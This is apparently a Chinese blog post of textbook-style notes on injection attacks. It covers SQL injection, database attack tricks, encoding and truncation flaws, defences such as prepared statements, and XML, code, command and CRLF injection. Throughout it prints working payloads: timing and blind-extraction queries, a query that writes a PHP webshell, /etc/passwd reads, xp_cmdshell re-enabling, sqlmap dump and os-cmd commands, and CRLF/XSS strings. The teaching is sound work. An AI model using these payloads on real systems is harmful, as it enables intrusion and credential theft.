一、SQL注入
注入攻击的两个条件:
1)用户能够控制数据的输入
2)原本要执行的代码,拼接了用户的输入
这个"拼接”的过程很重要,真是这个拼接的过程导致了代码的注入。
在SQL注入的过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号',引起执行查询语句的语法错误,服务器直接返回了错误信息:
Microsoft
JET Database ENgine 错误: '80040e14'
字符串的语法错误 在查询表达式 'ID=48'
'中
/showdetail.asp,行8
从错误信息可以知道,服务器用的Access数据库,查询语句的伪代码极有可能是
select
xxx from table_X where
id=$id
1,盲注:
一般,Web服务器会关闭错误回显,这时就要使用“盲注”技巧。
最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。
比如,一个应用的URL如下:
/>
执行的SQL语句为:
Select
* from items where
id=2
如果攻击者构造如下的条件语句:
and
1=2
攻击者看看到空的页面结果,然后进一步确认注入是否存在,他继续构造
and 1=1
现在如果正常返回了,则说明SQL语句的and成功执行,就可以判断id参数存在SQL注入漏洞了。
2,Timing
Attack:
在MySQL中,有一个BENCHMARK()函数,它是用于测试函数性能的。它有两个参数:
BENCHMARK(count,expression)
因此,利用BENCHMARK()函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击。
比如构造id的值为:
1170
UNION select if
(substring(current,1,1)=char(119),benchmark(5000000,encode('msg','by 5
seconds')),null) from (select database() as current) as
tbl;
这段payload判断库名的第一个字母是否为char(119),即小写的w。如果判断结果为真,则会通过benchmark()函数造成较长延时;如果不为真,则该语句很快就执行完。攻击者遍历所有字母,直到将整个数据库名全部验证完成为止。
与此类似,还有其他一些有用的函数:
database()
- 当前连接的数据库名
system_user() - 数据库的系统用户
current_user() -
当前登录到数据库的用户
last_insert_id() - 数据库上最后的插入操作的transaction
ID
如果当前数据库用户(current_user)具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入web目录中,攻击者就有可能下载这些文件:
1170
Union all select table_name,table_type,engine from information_schema.tables
where table_schema='mysql' order by table_name desc into outfile
'/path/location/on/server/www/schema.txt'
此外通过Dump文件的方法,还可以写入一个webShell:
1170
union select "<? system(%_Request['cmd']); ?>",2,3,4 into outfile
"/var/www/html/temp/c.php" --
Timing
Attack是盲注的一种高级技巧。在不同的数据库中,都有着类似的Benchmark()的函数,可以被Timing Attack所利用。例如SQLServer的
WaitFor Delay
'0:0:5'
二、数据库攻击技巧
找到SQL注入漏洞,仅仅是一个开始。要实施一次完整的攻击,还有许多事情要做。
1、常见的攻击技巧:
SQL注入可以猜解出数据库的对应版本,比如下面这段Payload,如果MySQL的版本是4,则会返回TRUE:
and substring(@@version,1,1)=4
下面这段Payload,则是利用union
select来分别确认表名admin是否存在,列名passwd是否存在:
id=5 union all select 1,2,3 from
admin
id=5 union all select 1,2,passwd from
admin
进一步,要想猜解出username和passwd具体的值,可以通过判断字符的范围,一步步读出来:
id=5 and
ascii(substring((select concat(username,0x3a,passwd) from users limit
0,1),1,1))>64 //返回true
id=5 and ascii(substring((select
concat(username,0x3a,passwd) from users limit 0,1),1,1))>96 //返回true
id=5
and ascii(substring((select concat(username,0x3a,passwd) from users limit
0,1),1,1))>100 //返回false
id=5 and ascii(substring((select
concat(username,0x3a,passwd) from users limit 0,1),1,1))>97
//返回false
...
这个过程非常的繁琐,所以非常有必要使用一个自动化工具来帮助完成整个过程。sqlmap.py就是一个非常好的自动化注入工具。
python
sqlmap.py -u " --dump
-t
users
在注入攻击的过程中,尝尝会用到一些读写文件的技巧。比如在MySql中,就可以通过Load_File()读取系统文件,并通过into
dumpfile写入本地文件。当然这要求当前数据库用户有读写相应文件或目录的权限。
如果要将文件读出后,再返回结果给攻击者,则可以使用下面这个技巧:
CREATE
TABLE potatoes(line BLOB);
UNION SELECT 1,1,HEX(Load_File('/etc/passwd')),1,1
into dumpFile '/tmp/potatoes';
Load Data inFile '/tmp/potatoes' into table
potatoes;
这需要当前数据库用户有创建表的权限。首先通过load_file()将系统文件读出,再通过into
dumpfile将该文件写入系统中,然后通过load data
infile将文件导入创建的表中,最后就可以通过一般的注入技巧直接操作表数据了。
除了可以使用into dumpfile外,还可以使用Into
outfile,两者的区别是dumpfile适用于二进制文件,他会将目标文件写入同一行内;而outfile则更适用于文本文件。
写入文件的技巧,经常被用于导出一个webshell,为攻击者的进一步攻击作铺垫。因此在设计数据库安全方案时,可以禁止普通数据库用户具备操作文件的权限。
2、命令执行:
在MySQL中,除了可以通过导出WebShell间接地执行命令外,还可以利用"用户自定义函数“的技巧,即UDF(User-Defined
Functions)来执行命令。
在流行的数据库中,一般都支持从本地文件系统中导入一个共享库文件作为自定义函数。使用如下语法可以创建UDF:
create
function f_name returns integer soname
shared_library;
...
在攻击过程中,将lib_mysqludf_sys.so上传到数据库能访问到的路径下。在创建UDF之后,就可以使用sys_eval()等函数执行系统命令了。
1)sys_eval,执行任意命令,并将输出返回。
2)sys_exec,执行任意命令,并将退出码返回。
3)sys_get,获取一个环境变量。
4)sys_set,创建或修改一个环境变量。
自动化注入工具sqlmap已经集成了此功能。
python
sqlmap.py -u " --os-cmd id -v
1
[...]
3、攻击存储过程:
在MS SQL
Server中,存储过程"xp_cmdshell"可谓是臭名昭著了,无数的黑客教程在讲到注入SQL Server时都是使用它执行系统命令:
EXEC
master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping
'
xp_cmdshell在SQL Server
2005以后就默认禁止了。但是如果当前用户拥有sysadmin权限,就可以使用sp_configure重新开启它;
EXEC sp_configure
'show advanced options',1
RECONFIGURE
EXEC sp_configure
'xp_cmdshell',1
RECONFIGURE
其他函数,例如xp_regread可以操作注册表:
exec
xp_regread
HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'
exec
xp_regenumvalues
HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\paramters\validcommunities'
...
此外还有
xp_servicecontrol
-允许用户启动、停止服务
...
除了利用存储过程直接攻击外,存储过程本身也可能会存在注入漏洞。存储过程使用的变量如果是由外部传入的,且未经过任何处理,将直接造成SQL注入问题。
4、编码问题:
在有些时候,不同的字符编码也可能会导致一些安全问题。在注入的历史上,层出现过”基于字符集“的注入攻击技巧。
注入攻击中,常常会用到单引号'、双引号"等特殊字符。在应用中,开发者为了安全,经常会使用转义字符"\"来转义这些特殊字符。但当数据库使用了"寛字符集"时,可能会产生一些意想不到的漏洞。比如,当MySQL使用了GBK编码时,0xbf27和0xbf5c都会被认为是一个字符(双字节字符).
而在进入数据库之前,在Web语言中则没有考虑到双字节字符的问题,双字节字符会被认为是两个字节。
因此,假如攻击者输入:
0xbf27
or
1=1
经过转义后,会变成0xbf5c27,但0xbf5c又是一个字符,
因此原本会存在的转义符号"\",在数据库中就被"吃掉"了,变成:
[乱码]
or
1=1
要解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为UTF8是一个很好的方法。
基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决办法就是在HTML页面的<meta>标签中指定当前页面的charset。
如果因为种种原因无法统一字符编码,则需要单独实现一个用于过滤或转义的安全函数,在其中需要考虑到字符的可能范围。
5、SQL
Column
Truncation
在MySQL的配置选项中,有一个sql_mode选项。当MySQL的sql-mode设置为default时,即没有开启STRICT_ALL_TABLES选项时,MySQL对于用户插入的超长值只会提示warning,而不是error(如果是error则插入不成功),这可能导致发生一些"截断"问题。
测试过程如下:
select
* from truncated_test;
//返回
id username password
1
admin pass
insert into truncated_test('username','password')
values("admin x","new_pass");
//再次查询
select * from
truncated_test;
//返回
id username password
1
admin pass
2 admin
new_pass
此时如果插入两个相同的数据会有什么后果呢?根据不同业务可能会造成不同的逻辑问题。
可能会造成越权访问。
一个真实案例--
注册一个用户名为"admin
(55个空格)
x"的用户,就可以修改原管理员的密码了。
三、正确地防御SQL注入:
1)找到所有的SQL注入漏洞
2)修补这些漏洞
SQL注入的防御并不是一件简单的事情,开发者尝尝会走入一些误区。比如只对用户输入做一些escape处理,这是不够的。参考如下代码:
$sql="select
id,name,mail,cv,blog,twitter from register where
id=".mysql_real_escape_string($_GET['id']);
当攻击者构造的注入代码如下时:
(user,0x3a,password),3,4,5,6,from,mysql.user,where,user=substring_index(current_user(),char(64),1)
因为转义仅仅会转义:
' " \r \n NULL
Control-Z
那是不是再增加一些过滤字符,就可以了呢?
其实,这种基于黑名单的方法,都或多或少地存在一些问题,我们看看下面的案例。
注入时不需要使用空格的例子:
SELECT/**/passwd/**/from/**/user
SELECT(passwd)from(user)
不需要括号、引号的例子,其中0x6164D696E是字符串admin的十六进制编码:
SELECT
passwd from users where user=0x6164D696E
而在SQL保留字中,像HAVING、ORDER
BY等都可能出现在自然语言中,用户提交的正常数据可能也会有这些单词,从而造成误杀,因此不能轻易过滤。
那么到底该如何正确地防御SQL注入呢?
1、使用预编译语句:
一般来说,防御SQL注入的最佳方式,就是使用预编译语句,绑定变量。
2、使用存储过程:
还可以使用安全的存储过程对抗SQL注入。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程中使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编译函数来处理用户的输入数据。
3、检查数据类型:
检查输入数据的数据类型,在很大程度上可以对抗SQL注入。
4、使用安全函数:
一般来说,各种Web语言都实现了一些编码函数,可以帮助对抗SQL注入。但前文曾举了一些编码函数被绕过的例子,因此我们需要一个足够安全的编码函数。幸运的是,数据库厂商往往都对此做出了“指导”。
同时,可以参考OWASP
ESAPI中的实现。这个函数由安全专家编写,更值得信赖。
ESAPI.encoder().encodeForSQL(new
OracleCodec(),queryparam);
在最后,从数据库自身的角度来说,应该使用最小权限原则,避免web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。
四、其他注入攻击:
除了SQL注入以外,在Web安全领域还有其他的注入攻击,这些注入攻击都有相同的特点,就是应用违背了“数据与代码分离”原则。
1、XML注入:
XML与HTML一样,也存在注入攻击,甚至在注入的方法上也非常相似。如下例,这段代码将生成一个XML文件。
。。。
XML注入,也需要满足注入攻击的两大条件:用户能控制数据的输入;程序拼凑了数据。
在修补方案上,与HTML注入的修补方案也是类似的,对用户输入数据中包含的“语言本身的保留字符”进行转义即可,如下所示:
<
转义 lt
> 转义
gt
...
2、代码注入:
代码注入比较特别一点。代码注入与命令注入往往都是由一些不安全的函数或者方法引起的,其中的典型代表就是eval()。如下例:
$myvar="varname";
$x=$_GET['arg'];
eval("\$myvar=\$x;");
攻击者可以通过如下Payload实施代码注入:
/index.php?arg=1;phpinfo()
存在代码注入漏洞的地方,与“后门“没有区别。
Java中也可以实施代码注入,比如利用Java的脚本引擎:
...
engine.eval("print('"+args[0]+"')");
...
攻击者可以提交如下数据:
hello');var
fImport=new JavaImporter(java.io.File);with(fImport) {var f=new
File('new');f.createNewFile();}//
此外,JSP的动态include也能导致代码注入。严格来说,PHP、JSP的动态include(文件包含漏洞)导致的代码执行,都可以算是一种代码注入。
代码注入多见于脚本语言,有时候代码注入可以造成命令注入。比如:
$varerror=system('cat
'.$_GET['pageid'],$valoretorno);
echo
$varerror;
就是一个典型的命令注入,攻击者可以利用system()函数执行她想要的系统命令。
vulnerable.php?pageid=loquesea;ls
对抗代码注入、命令注入时,需要禁用eval()、system()等可以执行命令的函数。如果一定要使用这些函数,则需要对用户的输入数据进行处理。此外,在PHP/JSP中避免动态include远程文件,或者安全地处理它。
代码注入往往是由于不安全的编程习惯所造成的,危险函数应该尽量避免在开发中使用,可以在开发规范中明确指出哪些函数就禁止使用的。这些危险函数一般在开发语言的官方文档中可以找到一些建议。
3、CRLF注入
CRLF实际上是两个字符:CR=\r=ASCII
13,LF=\n=ASCII 10。
\r\n这两个字符是用于表示换行的,其十六进制编码分别为0x0d、0x0a。
CRLF常被用作不同语义之间的分隔符。因此通过”注入CRLF字符“,就有可能改变原有的语义。
比如,在日志文件中,通过CRLF有可能构造出一条新的日志。下面这段代码,将登录失败的用户名写入日志文件中。
def
log_failed_login(username)
log=open("access.log",‘a');
log.write("User
Login failed for: %s \n" % username)
log.close()
但是由于没有处理\r\n,因此当攻击者输入如下数据时,就可能插入一条额外的日志记录。
guest\nUser login
succeeded for:
admin
CRLF注入并非仅能用于log注入,凡是使用CRLF作为分隔符的地方都可能存在这种注入,比如”注入HTTP头“。
在HTTP协议中,HTTP头是通过"\r\n"来分隔的。因此如果服务器端没有过滤"\r\n",而又把用户输入的数据放在HTTP头中,则有可能导致安全隐患。这种在HTTP头中的CRLF注入,又可以成为”Http
Response Splitting"。
下面这个例子就是通过CRLF诸如完成了一次XSS攻击。在参数中插入CRLF 字符:
<form
id="x"
action="%0d%0a%0d%0a<script>alert(/xss/);</script>"
method="post">
<!-- input name="email" value="" / -->
<input
name="password" value="testtest" />
<input name="origURL"
value="http%3A%2F%2F%2FSysHome.do%0d%0a" />
<input
name="formName" value="testtest" />
<input name="method"
value="testtest" />
<input type="submit" value="%E7%99%BB%E5%BD%95"
/>
</form>
提交后完成了一次POST请求,抓包可以看到整个过程:
...
服务器返回:
HTTP/1.1
200
OK
...
注意到服务器返回时,在Set-Cookie的值里插入了两次"\r\n"换行符。而两次"\r\n"意味着HTTP头的结束,在两次CRLF之后跟着的是HTTP
Body。攻击者在两次CRLF之后构建了恶意的HTML脚本,从而得以执行,XSS攻击成功。
Cookie是最容易被用户控制的地方,应用经常会将一些用户信息写入Cookie中,从而被用户控制。
但是HTTP
Response Splitting并非只能通过两次CRLF注入到HTTP
Body,有时候注入一个HTTP头,也会带来安全问题。
比如诸如一个Link头,在新版本的浏览器上将造成XSS:
Link:< />
而注入:
X-XSS-Protection:0
则可以关闭IE8的XSS
Filter功能。可以说HTTP Response
Splitting的危害甚至比XSS还要大,因为它破坏了HTTP协议的完整性。
对抗CRLF的方法非常简单,只需要处理好"\r"、"\n"这两个保留字即可,尤其是那些使用“换行符”作为分隔符的应用。
五、小结
注入攻击是应用违背了“数据与代码分离原则”导致的结果。它有两个条件:一是用户能够控制数据的输入;二是代码拼凑了用户输入的数据,把数据当作代码执行了。
在对抗注入攻击时,只需要牢记“数据与代码分离原则”,在“拼凑”发生的地方进行安全检查,就能避免此类问题。
理论上,通过设计和实施合理的安全解决方案,注入攻击是可以彻底杜绝的。
阅读(1544) | 评论(0) | 转发(0) |